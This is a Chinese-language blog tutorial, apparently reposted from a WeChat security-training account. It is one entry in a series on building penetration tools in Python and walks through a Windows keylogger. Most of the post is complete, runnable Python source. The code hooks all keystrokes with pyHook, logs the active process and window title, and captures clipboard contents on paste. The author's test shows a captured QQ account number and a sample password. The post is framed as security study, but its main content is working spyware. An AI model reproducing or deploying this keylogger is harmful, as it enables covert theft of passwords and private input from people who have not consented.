前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Python编写渗透工具学习笔记一 | 0x07 Python实现键盘记录器

Python编写渗透工具学习笔记一 | 0x07 Python实现键盘记录器

作者头像
安恒网络空间安全讲武堂
发布2018-02-06 14:46:41
2.3K0
发布2018-02-06 14:46:41
举报

0x07 Python实现键盘记录器

这份代码比较经典,里面的注释也写的很详细,我也就直接放出来给大家一起学习一下。

简单说一说

我们定义了pyhook的hookmanager管理器,然后将我们自定义的回调函数keystroke与keydown事件进行了绑定。之后我们通过pyhook勾住了所有的按键事件,然后继续消息循环,当目标按下键盘上的一个键时,我们的keystroke函数就会被调用,它唯一的一个参数就是触发这个事件的对象。在这个函数中,我们要做的第一件事是检查用户是否切换了窗口,如果切换了窗口,我们需要重新获得当前窗口的名字及进程信息,然后,我们检查按键是否在可输出的ascii码范围之内,如果是的话,输出即可。如果按键是修饰键(如shift、ctrl、alt等)或其他非标准的按键,那么我们从时间的对象中提取按键的名称。我们还检查了用户是否在进行粘贴操作,如果是的话,我们提取剪贴板中的内容。我们的回调函数通过返回true来允许执行消息队列中的下一个hook事件。

测试一下:

我这里打开了一个记事本,然后输入了一些东西,然后我又打开了火狐浏览器,访问了baidu的页面并点击了其中一个连接,这些操作基本都被记录下来了

这里我还使用这个键盘记录器做了个有趣的小实验,打开qq输入账号密码登录,看看能不能记下账号密码,我发现这里的账号是可以记下来的,但是密码却不行,应该是qq客户端程序对这些键盘记录仪做过防御操作处理了。截图如下,我当时输入的账号是541766184

密码是 Admin123 (当然这里的密码是错误的,只是做个示范)

这个键盘记录仪会记录下其他字符,这些字符并不是我输入的,而且当我停下不输入的时候,会发现这个键盘记录仪还在不断的记录一些我没按过的按键,这些应该都是qq客户端做过的防记录处理。

工具源码:

代码语言:js
复制
#-*- coding:utf8 -*-
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
def get_current_process():
    # 获取前台窗口句柄
    hwnd = user32.GetForegroundWindow()
    # 获得进程ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))
    # 保存当前进程ID
    process_id = "%d" % pid.value
    # 申请内存
    executable = create_string_buffer("\x00" * 512)
    # 打开进程
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
    # 获取进程所对应的可执行文件的名字
    psapi.GetModuleBaseNameA(h_process, None, byref(executable),512)
    # 读取窗口标题
    window_title = create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title), 512)
    # 输出进程相关信息
    print
    print "[ PID: %s - %s - %s]" % (process_id, executable.value, window_title.value)
    print
    # 关闭句柄
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
def keyStore(event):
    global current_window
    # 检查目标是否切换了窗口
    if event.WindowName != current_window:
        current_window = event.WindowName
        get_current_process()
    # 检测按键是否为常规按键(非组合键等)
    if event.Ascii > 32 and event.Ascii < 127:
        print chr(event.Ascii),
    else:
        # 若输入为[CTRL-V],则获取剪切板内容
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            print "[PASTE] - %s" % (pasted_value),
        else:
            print "[%s]" % event.Key,
    # 返回直到下一个钩子事件被触发
    return True
# 创建和注册钩子函数管理器
k1 =pyHook.HookManager()
#
k1.KeyDown = keyStore
# 注册键盘记录的钩子,然后永久执行
k1.HookKeyboard()
pythoncom.PumpMessages()
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2017-12-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档